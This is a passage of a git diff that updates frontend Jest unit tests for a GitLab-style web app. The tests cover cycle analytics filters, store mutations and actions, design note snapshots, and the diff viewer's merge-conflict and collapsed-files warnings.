+ labels: { data: filterLabels },
+ });
+ wrapper = createComponent(store);
+ jest.spyOn(utils, 'processFilters');
+ });
+
+ it('clicks on the search button, setFilters is dispatched', () => {
+ const filters = [
+ { type: 'milestone', value: { data: selectedMilestone[0].title, operator: '=' } },
+ { type: 'labels', value: { data: selectedLabelList[0].title, operator: '=' } },
+ ];
+
+ findFilteredSearch().vm.$emit('onFilter', filters);
+
+ expect(utils.processFilters).toHaveBeenCalledWith(filters);
+
+ expect(setFiltersMock).toHaveBeenCalledWith(expect.anything(), {
+ selectedLabelList: [{ value: selectedLabelList[0].title, operator: '=' }],
+ selectedMilestone: { value: selectedMilestone[0].title, operator: '=' },
+ selectedAssigneeList: [],
+ selectedAuthor: null,
+ });
+ });
+ });
+
+ describe.each([
+ ['selectedMilestone', 'milestone_title', { value: '12.0', operator: '=' }, '12.0'],
+ ['selectedAuthor', 'author_username', { value: 'rootUser', operator: '=' }, 'rootUser'],
+ [
+ 'selectedLabelList',
+ 'label_name',
+ [
+ { value: 'Afternix', operator: '=' },
+ { value: 'Brouceforge', operator: '=' },
+ ],
+ ['Afternix', 'Brouceforge'],
+ ],
+ [
+ 'selectedAssigneeList',
+ 'assignee_username',
+ [
+ { value: 'rootUser', operator: '=' },
+ { value: 'secondaryUser', operator: '=' },
+ ],
+ ['rootUser', 'secondaryUser'],
+ ],
+ ])('with a %s updates the %s url parameter', (stateKey, paramKey, payload, result) => {
+ beforeEach(() => {
+ commonUtils.historyPushState = jest.fn();
+ urlUtils.mergeUrlParams = jest.fn();
+
+ mock = new MockAdapter(axios);
+ wrapper = createComponent(storeConfig);
+
+ wrapper.vm.$store.dispatch('filters/setFilters', {
+ ...initialFilterBarState,
+ [stateKey]: payload,
+ });
+ });
+ it(`sets the ${paramKey} url parameter`, () => {
+ return shouldMergeUrlParams(wrapper, {
+ ...defaultParams,
+ [paramKey]: result,
+ });
+ });
+ });
+});
diff --git a/spec/frontend/cycle_analytics/formatted_stage_count_spec.js b/spec/frontend/cycle_analytics/formatted_stage_count_spec.js
new file mode 100644
index 00000000000..1228b8511ea
--- /dev/null
+++ b/spec/frontend/cycle_analytics/formatted_stage_count_spec.js
@@ -0,0 +1,34 @@
+import { shallowMount } from '@vue/test-utils';
+import Component from '~/cycle_analytics/components/formatted_stage_count.vue';
+
+describe('Formatted Stage Count', () => {
+ let wrapper = null;
+
+ const createComponent = (stageCount = null) => {
+ wrapper = shallowMount(Component, {
+ propsData: {
+ stageCount,
+ },
+ });
+ };
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it.each`
+ stageCount | expectedOutput
+ ${null} | ${'-'}
+ ${1} | ${'1 item'}
+ ${10} | ${'10 items'}
+ ${1000} | ${'1,000 items'}
+ ${1001} | ${'1,000+ items'}
+ `('returns "$expectedOutput" for stageCount=$stageCount', ({ stageCount, expectedOutput }) => {
+ createComponent(stageCount);
+ expect(wrapper.text()).toContain(expectedOutput);
+ });
+});
diff --git a/spec/frontend/cycle_analytics/mock_data.js b/spec/frontend/cycle_analytics/mock_data.js
index 242ea1932fb..4e6471d5f7b 100644
--- a/spec/frontend/cycle_analytics/mock_data.js
+++ b/spec/frontend/cycle_analytics/mock_data.js
@@ -1,5 +1,10 @@
-import { DEFAULT_VALUE_STREAM } from '~/cycle_analytics/constants';
+import { TEST_HOST } from 'helpers/test_constants';
+import { DEFAULT_VALUE_STREAM, DEFAULT_DAYS_IN_PAST } from '~/cycle_analytics/constants';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
+import { getDateInPast } from '~/lib/utils/datetime_utility';
+
+export const createdBefore = new Date(2019, 0, 14);
+export const createdAfter = getDateInPast(createdBefore, DEFAULT_DAYS_IN_PAST);
export const getStageByTitle = (stages, title) =>
stages.find((stage) => stage.title && stage.title.toLowerCase().trim() === title) || {};
@@ -169,6 +174,15 @@ export const stageMedians = {
staging: 388800,
};
+export const formattedStageMedians = {
+ issue: '2d',
+ plan: '1d',
+ review: '1w',
+ code: '1d',
+ test: '3d',
+ staging: '4d',
+};
+
export const allowedStages = [issueStage, planStage, codeStage];
export const transformedProjectStagePathData = [
@@ -212,6 +226,31 @@ export const transformedProjectStagePathData = [
export const selectedValueStream = DEFAULT_VALUE_STREAM;
+export const group = {
+ id: 1,
+ name: 'foo',
+ path: 'foo',
+ full_path: 'foo',
+ avatar_url: `${TEST_HOST}/images/home/nasa.svg`,
+};
+
+export const currentGroup = convertObjectPropsToCamelCase(group, { deep: true });
+
+export const selectedProjects = [
+ {
+ id: 'gid://gitlab/Project/1',
+ name: 'cool project',
+ pathWithNamespace: 'group/cool-project',
+ avatarUrl: null,
+ },
+ {
+ id: 'gid://gitlab/Project/2',
+ name: 'another cool project',
+ pathWithNamespace: 'group/another-cool-project',
+ avatarUrl: null,
+ },
+];
+
export const rawValueStreamStages = [
{
title: 'Issue',
diff --git a/spec/frontend/cycle_analytics/store/actions_spec.js b/spec/frontend/cycle_analytics/store/actions_spec.js
index 4f37e1266fb..8a8dd374f8e 100644
--- a/spec/frontend/cycle_analytics/store/actions_spec.js
+++ b/spec/frontend/cycle_analytics/store/actions_spec.js
@@ -3,7 +3,7 @@ import MockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import * as actions from '~/cycle_analytics/store/actions';
import httpStatusCodes from '~/lib/utils/http_status';
-import { selectedStage, selectedValueStream } from '../mock_data';
+import { allowedStages, selectedStage, selectedValueStream } from '../mock_data';
const mockRequestPath = 'some/cool/path';
const mockFullPath = '/namespace/-/analytics/value_stream_analytics/value_streams';
@@ -25,6 +25,10 @@ const mockRequestedDataMutations = [
},
];
+const features = {
+ cycleAnalyticsForGroups: true,
+};
+
describe('Project Value Stream Analytics actions', () => {
let state;
let mock;
@@ -175,6 +179,7 @@ describe('Project Value Stream Analytics actions', () => {
beforeEach(() => {
state = {
+ features,
fullPath: mockFullPath,
};
mock = new MockAdapter(axios);
@@ -187,9 +192,33 @@ describe('Project Value Stream Analytics actions', () => {
state,
payload: {},
expectedMutations: [{ type: 'REQUEST_VALUE_STREAMS' }],
- expectedActions: [{ type: 'receiveValueStreamsSuccess' }, { type: 'setSelectedStage' }],
+ expectedActions: [
+ { type: 'receiveValueStreamsSuccess' },
+ { type: 'setSelectedStage' },
+ { type: 'fetchStageMedians' },
+ ],
}));
+ describe('with cycleAnalyticsForGroups=false', () => {
+ beforeEach(() => {
+ state = {
+ features: { cycleAnalyticsForGroups: false },
+ fullPath: mockFullPath,
+ };
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ });
+
+ it("does not dispatch the 'fetchStageMedians' request", () =>
+ testAction({
+ action: actions.fetchValueStreams,
+ state,
+ payload: {},
+ expectedMutations: [{ type: 'REQUEST_VALUE_STREAMS' }],
+ expectedActions: [{ type: 'receiveValueStreamsSuccess' }, { type: 'setSelectedStage' }],
+ }));
+ });
+
describe('with a failing request', () => {
beforeEach(() => {
mock = new MockAdapter(axios);
@@ -280,4 +309,59 @@ describe('Project Value Stream Analytics actions', () => {
}));
});
});
+
+ describe('fetchStageMedians', () => {
+ const mockValueStreamPath = /median/;
+
+ const stageMediansPayload = [
+ { id: 'issue', value: null },
+ { id: 'plan', value: null },
+ { id: 'code', value: null },
+ ];
+
+ const stageMedianError = new Error(
+ `Request failed with status code ${httpStatusCodes.BAD_REQUEST}`,
+ );
+
+ beforeEach(() => {
+ state = {
+ fullPath: mockFullPath,
+ selectedValueStream,
+ stages: allowedStages,
+ };
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.OK);
+ });
+
+ it(`commits the 'REQUEST_STAGE_MEDIANS' and 'RECEIVE_STAGE_MEDIANS_SUCCESS' mutations`, () =>
+ testAction({
+ action: actions.fetchStageMedians,
+ state,
+ payload: {},
+ expectedMutations: [
+ { type: 'REQUEST_STAGE_MEDIANS' },
+ { type: 'RECEIVE_STAGE_MEDIANS_SUCCESS', payload: stageMediansPayload },
+ ],
+ expectedActions: [],
+ }));
+
+ describe('with a failing request', () => {
+ beforeEach(() => {
+ mock = new MockAdapter(axios);
+ mock.onGet(mockValueStreamPath).reply(httpStatusCodes.BAD_REQUEST);
+ });
+
+ it(`commits the 'RECEIVE_VALUE_STREAM_STAGES_ERROR' mutation`, () =>
+ testAction({
+ action: actions.fetchStageMedians,
+ state,
+ payload: {},
+ expectedMutations: [
+ { type: 'REQUEST_STAGE_MEDIANS' },
+ { type: 'RECEIVE_STAGE_MEDIANS_ERROR', payload: stageMedianError },
+ ],
+ expectedActions: [],
+ }));
+ });
+ });
});
diff --git a/spec/frontend/cycle_analytics/store/mutations_spec.js b/spec/frontend/cycle_analytics/store/mutations_spec.js
index 88e1a13f506..77b19280517 100644
--- a/spec/frontend/cycle_analytics/store/mutations_spec.js
+++ b/spec/frontend/cycle_analytics/store/mutations_spec.js
@@ -1,3 +1,5 @@
+import { useFakeDate } from 'helpers/fake_date';
+import { DEFAULT_DAYS_TO_DISPLAY } from '~/cycle_analytics/constants';
import * as types from '~/cycle_analytics/store/mutation_types';
import mutations from '~/cycle_analytics/store/mutations';
import {
@@ -9,15 +11,23 @@ import {
selectedValueStream,
rawValueStreamStages,
valueStreamStages,
+ rawStageMedians,
+ formattedStageMedians,
} from '../mock_data';
let state;
const mockRequestPath = 'fake/request/path';
-const mockStartData = '2021-04-20';
+const mockCreatedAfter = '2020-06-18';
+const mockCreatedBefore = '2020-07-18';
+const features = {
+ cycleAnalyticsForGroups: true,
+};
describe('Project Value Stream Analytics mutations', () => {
+ useFakeDate(2020, 6, 18);
+
beforeEach(() => {
- state = {};
+ state = { features };
});
afterEach(() => {
@@ -46,6 +56,8 @@ describe('Project Value Stream Analytics mutations', () => {
${types.RECEIVE_STAGE_DATA_ERROR} | ${'selectedStageEvents'} | ${[]}
${types.RECEIVE_STAGE_DATA_ERROR} | ${'hasError'} | ${true}
${types.RECEIVE_STAGE_DATA_ERROR} | ${'isEmptyStage'} | ${true}
+ ${types.REQUEST_STAGE_MEDIANS} | ${'medians'} | ${{}}
+ ${types.RECEIVE_STAGE_MEDIANS_ERROR} | ${'medians'} | ${{}}
`('$mutation will set $stateKey to $value', ({ mutation, stateKey, value }) => {
mutations[mutation](state, {});
@@ -53,15 +65,19 @@ describe('Project Value Stream Analytics mutations', () => {
});
it.each`
- mutation | payload | stateKey | value
- ${types.INITIALIZE_VSA} | ${{ requestPath: mockRequestPath }} | ${'requestPath'} | ${mockRequestPath}
- ${types.SET_DATE_RANGE} | ${{ startDate: mockStartData }} | ${'startDate'} | ${mockStartData}
- ${types.SET_LOADING} | ${true} | ${'isLoading'} | ${true}
- ${types.SET_LOADING} | ${false} | ${'isLoading'} | ${false}
- ${types.SET_SELECTED_VALUE_STREAM} | ${selectedValueStream} | ${'selectedValueStream'} | ${selectedValueStream}
- ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${rawData} | ${'summary'} | ${convertedData.summary}
- ${types.RECEIVE_VALUE_STREAMS_SUCCESS} | ${[selectedValueStream]} | ${'valueStreams'} | ${[selectedValueStream]}
- ${types.RECEIVE_VALUE_STREAM_STAGES_SUCCESS} | ${{ stages: rawValueStreamStages }} | ${'stages'} | ${valueStreamStages}
+ mutation | payload | stateKey | value
+ ${types.INITIALIZE_VSA} | ${{ requestPath: mockRequestPath }} | ${'requestPath'} | ${mockRequestPath}
+ ${types.SET_DATE_RANGE} | ${{ startDate: DEFAULT_DAYS_TO_DISPLAY }} | ${'startDate'} | ${DEFAULT_DAYS_TO_DISPLAY}
+ ${types.SET_DATE_RANGE} | ${{ startDate: DEFAULT_DAYS_TO_DISPLAY }} | ${'createdAfter'} | ${mockCreatedAfter}
+ ${types.SET_DATE_RANGE} | ${{ startDate: DEFAULT_DAYS_TO_DISPLAY }} | ${'createdBefore'} | ${mockCreatedBefore}
+ ${types.SET_LOADING} | ${true} | ${'isLoading'} | ${true}
+ ${types.SET_LOADING} | ${false} | ${'isLoading'} | ${false}
+ ${types.SET_SELECTED_VALUE_STREAM} | ${selectedValueStream} | ${'selectedValueStream'} | ${selectedValueStream}
+ ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${rawData} | ${'summary'} | ${convertedData.summary}
+ ${types.RECEIVE_VALUE_STREAMS_SUCCESS} | ${[selectedValueStream]} | ${'valueStreams'} | ${[selectedValueStream]}
+ ${types.RECEIVE_VALUE_STREAM_STAGES_SUCCESS} | ${{ stages: rawValueStreamStages }} | ${'stages'} | ${valueStreamStages}
+ ${types.RECEIVE_VALUE_STREAMS_SUCCESS} | ${[selectedValueStream]} | ${'valueStreams'} | ${[selectedValueStream]}
+ ${types.RECEIVE_STAGE_MEDIANS_SUCCESS} | ${rawStageMedians} | ${'medians'} | ${formattedStageMedians}
`(
'$mutation with $payload will set $stateKey to $value',
({ mutation, payload, stateKey, value }) => {
@@ -92,4 +108,35 @@ describe('Project Value Stream Analytics mutations', () => {
},
);
});
+
+ describe('with cycleAnalyticsForGroups=false', () => {
+ useFakeDate(2020, 6, 18);
+
+ beforeEach(() => {
+ state = { features: { cycleAnalyticsForGroups: false } };
+ });
+
+ const formattedMedians = {
+ code: '2d',
+ issue: '-',
+ plan: '21h',
+ review: '-',
+ staging: '2d',
+ test: '4h',
+ };
+
+ it.each`
+ mutation | payload | stateKey | value
+ ${types.RECEIVE_CYCLE_ANALYTICS_DATA_SUCCESS} | ${rawData} | ${'medians'} | ${formattedMedians}
+ ${types.REQUEST_CYCLE_ANALYTICS_DATA} | ${{}} | ${'medians'} | ${{}}
+ ${types.RECEIVE_CYCLE_ANALYTICS_DATA_ERROR} | ${{}} | ${'medians'} | ${{}}
+ `(
+ '$mutation with $payload will set $stateKey to $value',
+ ({ mutation, payload, stateKey, value }) => {
+ mutations[mutation](state, payload);
+
+ expect(state).toMatchObject({ [stateKey]: value });
+ },
+ );
+ });
});
diff --git a/spec/frontend/cycle_analytics/utils_spec.js b/spec/frontend/cycle_analytics/utils_spec.js
index 15137bb0571..1fecdfc0539 100644
--- a/spec/frontend/cycle_analytics/utils_spec.js
+++ b/spec/frontend/cycle_analytics/utils_spec.js
@@ -1,3 +1,4 @@
+import { useFakeDate } from 'helpers/fake_date';
import {
decorateEvents,
decorateData,
@@ -6,6 +7,7 @@ import {
medianTimeToParsedSeconds,
formatMedianValues,
filterStagesByHiddenStatus,
+ calculateFormattedDayInPast,
} from '~/cycle_analytics/utils';
import {
selectedStage,
@@ -149,4 +151,12 @@ describe('Value stream analytics utils', () => {
expect(filterStagesByHiddenStatus(mockStages, isHidden)).toEqual(result);
});
});
+
+ describe('calculateFormattedDayInPast', () => {
+ useFakeDate(1815, 11, 10);
+
+ it('will return 2 dates, now and past', () => {
+ expect(calculateFormattedDayInPast(5)).toEqual({ now: '1815-12-10', past: '1815-12-05' });
+ });
+ });
});
diff --git a/spec/frontend/cycle_analytics/value_stream_filters_spec.js b/spec/frontend/cycle_analytics/value_stream_filters_spec.js
new file mode 100644
index 00000000000..6e96a6d756a
--- /dev/null
+++ b/spec/frontend/cycle_analytics/value_stream_filters_spec.js
@@ -0,0 +1,91 @@
+import { shallowMount } from '@vue/test-utils';
+import Daterange from '~/analytics/shared/components/daterange.vue';
+import ProjectsDropdownFilter from '~/analytics/shared/components/projects_dropdown_filter.vue';
+import FilterBar from '~/cycle_analytics/components/filter_bar.vue';
+import ValueStreamFilters from '~/cycle_analytics/components/value_stream_filters.vue';
+import {
+ createdAfter as startDate,
+ createdBefore as endDate,
+ currentGroup,
+ selectedProjects,
+} from './mock_data';
+
+function createComponent(props = {}) {
+ return shallowMount(ValueStreamFilters, {
+ propsData: {
+ selectedProjects,
+ groupId: currentGroup.id,
+ groupPath: currentGroup.fullPath,
+ startDate,
+ endDate,
+ ...props,
+ },
+ });
+}
+
+describe('ValueStreamFilters', () => {
+ let wrapper;
+
+ const findProjectsDropdown = () => wrapper.findComponent(ProjectsDropdownFilter);
+ const findDateRangePicker = () => wrapper.findComponent(Daterange);
+ const findFilterBar = () => wrapper.findComponent(FilterBar);
+
+ beforeEach(() => {
+ wrapper = createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it('will render the filter bar', () => {
+ expect(findFilterBar().exists()).toBe(true);
+ });
+
+ it('will render the projects dropdown', () => {
+ expect(findProjectsDropdown().exists()).toBe(true);
+ expect(wrapper.findComponent(ProjectsDropdownFilter).props()).toEqual(
+ expect.objectContaining({
+ queryParams: wrapper.vm.projectsQueryParams,
+ multiSelect: wrapper.vm.$options.multiProjectSelect,
+ }),
+ );
+ });
+
+ it('will render the date range picker', () => {
+ expect(findDateRangePicker().exists()).toBe(true);
+ });
+
+ it('will emit `selectProject` when a project is selected', () => {
+ findProjectsDropdown().vm.$emit('selected');
+
+ expect(wrapper.emitted('selectProject')).not.toBeUndefined();
+ });
+
+ it('will emit `setDateRange` when the date range changes', () => {
+ findDateRangePicker().vm.$emit('change');
+
+ expect(wrapper.emitted('setDateRange')).not.toBeUndefined();
+ });
+
+ describe('hasDateRangeFilter = false', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ hasDateRangeFilter: false });
+ });
+
+ it('will not render the date range picker', () => {
+ expect(findDateRangePicker().exists()).toBe(false);
+ });
+ });
+
+ describe('hasProjectFilter = false', () => {
+ beforeEach(() => {
+ wrapper = createComponent({ hasProjectFilter: false });
+ });
+
+ it('will not render the project dropdown', () => {
+ expect(findProjectsDropdown().exists()).toBe(false);
+ });
+ });
+});
diff --git a/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap b/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap
index 084a7e5d712..4ecf82a4714 100644
--- a/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap
+++ b/spec/frontend/design_management/components/design_notes/__snapshots__/design_note_spec.js.snap
@@ -6,7 +6,7 @@ exports[`Design note component should match the snapshot 1`] = `
id="note_123"
>
<user-avatar-link-stub
- imgalt=""
+ imgalt="foo-bar"
imgcssclasses=""
imgsize="40"
imgsrc=""
@@ -22,7 +22,8 @@ exports[`Design note component should match the snapshot 1`] = `
<div>
<gl-link-stub
class="js-user-link"
- data-user-id="author-id"
+ data-user-id="1"
+ data-username="foo-bar"
>
<span
class="note-header-author-name gl-font-weight-bold"
@@ -35,7 +36,7 @@ exports[`Design note component should match the snapshot 1`] = `
<span
class="note-headline-light"
>
- @
+ @foo-bar
</span>
</gl-link-stub>
diff --git a/spec/frontend/design_management/components/design_notes/design_note_spec.js b/spec/frontend/design_management/components/design_notes/design_note_spec.js
index 1cd556eabb4..3f5f5bcdfa7 100644
--- a/spec/frontend/design_management/components/design_notes/design_note_spec.js
+++ b/spec/frontend/design_management/components/design_notes/design_note_spec.js
@@ -9,7 +9,8 @@ const scrollIntoViewMock = jest.fn();
const note = {
id: 'gid://gitlab/DiffNote/123',
author: {
- id: 'author-id',
+ id: 'gid://gitlab/User/1',
+ username: 'foo-bar',
},
body: 'test',
userPermissions: {
diff --git a/spec/frontend/design_management/components/design_todo_button_spec.js b/spec/frontend/design_management/components/design_todo_button_spec.js
index 20686d0ae6c..757bf50c527 100644
--- a/spec/frontend/design_management/components/design_todo_button_spec.js
+++ b/spec/frontend/design_management/components/design_todo_button_spec.js
@@ -2,7 +2,7 @@ import { shallowMount, mount } from '@vue/test-utils';
import DesignTodoButton from '~/design_management/components/design_todo_button.vue';
import createDesignTodoMutation from '~/design_management/graphql/mutations/create_design_todo.mutation.graphql';
import todoMarkDoneMutation from '~/graphql_shared/mutations/todo_mark_done.mutation.graphql';
-import TodoButton from '~/vue_shared/components/todo_button.vue';
+import TodoButton from '~/vue_shared/components/sidebar/todo_toggle/todo_button.vue';
import mockDesign from '../mock_data/design';
const mockDesignWithPendingTodos = {
diff --git a/spec/frontend/design_management/pages/design/index_spec.js b/spec/frontend/design_management/pages/design/index_spec.js
index 11c88c3d0f5..1332e872246 100644
--- a/spec/frontend/design_management/pages/design/index_spec.js
+++ b/spec/frontend/design_management/pages/design/index_spec.js
@@ -20,7 +20,7 @@ import {
import {
DESIGN_TRACKING_PAGE_NAME,
DESIGN_SNOWPLOW_EVENT_TYPES,
- DESIGN_USAGE_PING_EVENT_TYPES,
+ DESIGN_SERVICE_PING_EVENT_TYPES,
} from '~/design_management/utils/tracking';
import createFlash from '~/flash';
import mockAllVersions from '../../mock_data/all_versions';
@@ -391,7 +391,7 @@ describe('Design management design index page', () => {
});
describe('with usage_data_design_action enabled', () => {
- it('tracks design view usage ping', () => {
+ it('tracks design view service ping', () => {
createComponent(
{ loading: true },
{
@@ -402,13 +402,13 @@ describe('Design management design index page', () => {
);
expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(1);
expect(Api.trackRedisHllUserEvent).toHaveBeenCalledWith(
- DESIGN_USAGE_PING_EVENT_TYPES.DESIGN_ACTION,
+ DESIGN_SERVICE_PING_EVENT_TYPES.DESIGN_ACTION,
);
});
});
describe('with usage_data_design_action disabled', () => {
- it("doesn't track design view usage ping", () => {
+ it("doesn't track design view service ping", () => {
createComponent({ loading: true });
expect(Api.trackRedisHllUserEvent).toHaveBeenCalledTimes(0);
});
diff --git a/spec/frontend/diffs/components/app_spec.js b/spec/frontend/diffs/components/app_spec.js
index 8a1c5547581..b5eb3e1713c 100644
--- a/spec/frontend/diffs/components/app_spec.js
+++ b/spec/frontend/diffs/components/app_spec.js
@@ -6,14 +6,19 @@ import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
import { TEST_HOST } from 'spec/test_constants';
import App from '~/diffs/components/app.vue';
-import CollapsedFilesWarning from '~/diffs/components/collapsed_files_warning.vue';
import CommitWidget from '~/diffs/components/commit_widget.vue';
import CompareVersions from '~/diffs/components/compare_versions.vue';
import DiffFile from '~/diffs/components/diff_file.vue';
-import HiddenFilesWarning from '~/diffs/components/hidden_files_warning.vue';
import NoChanges from '~/diffs/components/no_changes.vue';
import TreeList from '~/diffs/components/tree_list.vue';
+/* eslint-disable import/order */
+/* You know what: sometimes alphabetical isn't the best order */
+import CollapsedFilesWarning from '~/diffs/components/collapsed_files_warning.vue';
+import HiddenFilesWarning from '~/diffs/components/hidden_files_warning.vue';
+import MergeConflictWarning from '~/diffs/components/merge_conflict_warning.vue';
+/* eslint-enable import/order */
+
import axios from '~/lib/utils/axios_utils';
import * as urlUtils from '~/lib/utils/url_utility';
import createDiffsStore from '../create_diffs_store';
@@ -541,6 +546,43 @@ describe('diffs/components/app', () => {
expect(getCollapsedFilesWarning(wrapper).exists()).toBe(false);
});
});
+
+ describe('merge conflicts', () => {
+ it('should render the merge conflicts banner if viewing the whole changeset and there are conflicts', () => {
+ createComponent({}, ({ state }) => {
+ Object.assign(state.diffs, {
+ latestDiff: true,
+ startVersion: null,
+ hasConflicts: true,
+ canMerge: false,
+ conflictResolutionPath: 'path',
+ });
+ });
+
+ expect(wrapper.find(MergeConflictWarning).exists()).toBe(true);
+ });
+
+ it.each`
+ prop | value
+ ${'latestDiff'} | ${false}
+ ${'startVersion'} | ${'notnull'}
+ ${'hasConflicts'} | ${false}
+ `(
+ "should not render if any of the MR properties aren't correct - like $prop: $value",
+ ({ prop, value }) => {
+ createComponent({}, ({ state }) => {
+ Object.assign(state.diffs, {
+ latestDiff: true,
+ startVersion: null,
+ hasConflicts: true,
+ [prop]: value,
+ });
+ });
+
+ expect(wrapper.find(MergeConflictWarning).exists()).toBe(false);
+ },
+ );
+ });
});
it('should display commit widget if store has a commit', () => {
diff --git a/spec/frontend/diffs/components/collapsed_files_warning_spec.js b/spec/frontend/diffs/components/collapsed_files_warning_spec.js
index 77c2e19cb68..46caeb01132 100644
--- a/spec/frontend/diffs/components/collapsed_files_warning_spec.js
+++ b/spec/frontend/diffs/components/collapsed_files_warning_spec.js
@@ -1,10 +1,13 @@
import { shallowMount, mount, createLocalVue } from '@vue/test-utils';
+import { nextTick } from 'vue';
import Vuex from 'vuex';
import CollapsedFilesWarning from '~/diffs/components/collapsed_files_warning.vue';
import { CENTERED_LIMITED_CONTAINER_CLASSES, EVT_EXPAND_ALL_FILES } from '~/diffs/constants';
import eventHub from '~/diffs/event_hub';
import createStore from '~/diffs/store/modules';
+import file from '../mock_data/diff_file';
+
const propsData = {
limited: true,
mergeable: true,
@@ -12,6 +15,13 @@ const propsData = {
};
const limitedClasses = CENTERED_LIMITED_CONTAINER_CLASSES.split(' ');
+async function files(store, count) {
+ const copies = Array(count).fill(file);
+ store.state.diffs.diffFiles.push(...copies);
+
+ return nextTick();
+}
+
describe('CollapsedFilesWarning', () => {
const localVue = createLocalVue();
let store;
@@ -42,48 +52,63 @@ describe('CollapsedFilesWarning', () => {
wrapper.destroy();
});
- it.each`
- limited | containerClasses
- ${true} | ${limitedClasses}
- ${false} | ${[]}
- `(
- 'has the correct container classes when limited is $limited',
- ({ limited, containerClasses }) => {
- createComponent({ limited });
-
- expect(wrapper.classes()).toEqual(['col-12'].concat(containerClasses));
- },
- );
-
- it.each`
- present | dismissed
- ${false} | ${true}
- ${true} | ${false}
- `('toggles the alert when dismissed is $dismissed', ({ present, dismissed }) => {
- createComponent({ dismissed });
-
- expect(wrapper.find('[data-testid="root"]').exists()).toBe(present);
- });
+ describe('when there is more than one file', () => {
+ it.each`
+ limited | containerClasses
+ ${true} | ${limitedClasses}
+ ${false} | ${[]}
+ `(
+ 'has the correct container classes when limited is $limited',
+ async ({ limited, containerClasses }) => {
+ createComponent({ limited });
+ await files(store, 2);
+
+ expect(wrapper.classes()).toEqual(['col-12'].concat(containerClasses));
+ },
+ );
- it('dismisses the component when the alert "x" is clicked', async () => {
- createComponent({}, { full: true });
+ it.each`
+ present | dismissed
+ ${false} | ${true}
+ ${true} | ${false}
+ `('toggles the alert when dismissed is $dismissed', async ({ present, dismissed }) => {
+ createComponent({ dismissed });
+ await files(store, 2);
- expect(wrapper.find('[data-testid="root"]').exists()).toBe(true);
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(present);
+ });
- getAlertCloseButton().element.click();
+ it('dismisses the component when the alert "x" is clicked', async () => {
+ createComponent({}, { full: true });
+ await files(store, 2);
- await wrapper.vm.$nextTick();
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(true);
- expect(wrapper.find('[data-testid="root"]').exists()).toBe(false);
- });
+ getAlertCloseButton().element.click();
- it(`emits the \`${EVT_EXPAND_ALL_FILES}\` event when the alert action button is clicked`, () => {
- createComponent({}, { full: true });
+ await wrapper.vm.$nextTick();
- jest.spyOn(eventHub, '$emit');
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(false);
+ });
- getAlertActionButton().vm.$emit('click');
+ it(`emits the \`${EVT_EXPAND_ALL_FILES}\` event when the alert action button is clicked`, async () => {
+ createComponent({}, { full: true });
+ await files(store, 2);
- expect(eventHub.$emit).toHaveBeenCalledWith(EVT_EXPAND_ALL_FILES);
+ jest.spyOn(eventHub, '$emit');
+
+ getAlertActionButton().vm.$emit('click');
+
+ expect(eventHub.$emit).toHaveBeenCalledWith(EVT_EXPAND_ALL_FILES);
+ });
+ });
+
+ describe('when there is a single file', () => {
+ it('should not display', async () => {
+ createComponent();
+ await files(store, 1);
+
+ expect(wrapper.find('[data-testid="root"]').exists()).toBe(false);
+ });
});
});
diff --git a/spec/frontend/diffs/components/diff_content_spec.js b/spec/frontend/diffs/components/diff_content_spec.js
index 7012889440c..0a7dfc02c65 100644
--- a/spec/frontend/diffs/components/diff_content_spec.js
+++ b/spec/frontend/diffs/components/diff_content_spec.js
@@ -4,8 +4,6 @@ import Vuex from 'vuex';
import DiffContentComponent from '~/diffs/components/diff_content.vue';
import DiffDiscussions from '~/diffs/components/diff_discussions.vue';
import DiffView from '~/diffs/components/diff_view.vue';
-import InlineDiffView from '~/diffs/components/inline_diff_view.vue';
-import ParallelDiffView from '~/diffs/components/parallel_diff_view.vue';
import { IMAGE_DIFF_POSITION_TYPE } from '~/diffs/constants';
import { diffViewerModes } from '~/ide/constants';
import NoteForm from '~/notes/components/note_form.vue';
@@ -107,25 +105,10 @@ describe('DiffContent', () => {
});
const textDiffFile = { ...defaultProps.diffFile, viewer: { name: diffViewerModes.text } };
- it('should render diff inline view if `isInlineView` is true', () => {
- isInlineViewGetterMock.mockReturnValue(true);
- createComponent({ props: { diffFile: textDiffFile } });
-
- expect(wrapper.find(InlineDiffView).exists()).toBe(true);
- });
-
- it('should render parallel view if `isParallelView` getter is true', () => {
- isParallelViewGetterMock.mockReturnValue(true);
- createComponent({ props: { diffFile: textDiffFile } });
-
- expect(wrapper.find(ParallelDiffView).exists()).toBe(true);
- });
it('should render diff view if `unifiedDiffComponents` are true', () => {
- isParallelViewGetterMock.mockReturnValue(true);
createComponent({
props: { diffFile: textDiffFile },
- provide: { glFeatures: { unifiedDiffComponents: true } },
});
expect(wrapper.find(DiffView).exists()).toBe(true);
diff --git a/spec/frontend/diffs/components/diff_file_spec.js b/spec/frontend/diffs/components/diff_file_spec.js
index 1e8ad9344f2..99dda8d5deb 100644
--- a/spec/frontend/diffs/components/diff_file_spec.js
+++ b/spec/frontend/diffs/components/diff_file_spec.js
@@ -110,7 +110,6 @@ const findLoader = (wrapper) => wrapper.find('[data-testid="loader-icon"]');
const findToggleButton = (wrapper) => wrapper.find('[data-testid="expand-button"]');
const toggleFile = (wrapper) => findDiffHeader(wrapper).vm.$emit('toggleFile');
-const isDisplayNone = (element) => element.style.display === 'none';
const getReadableFile = () => JSON.parse(JSON.stringify(diffFileMockDataReadable));
const getUnreadableFile = () => JSON.parse(JSON.stringify(diffFileMockDataUnreadable));
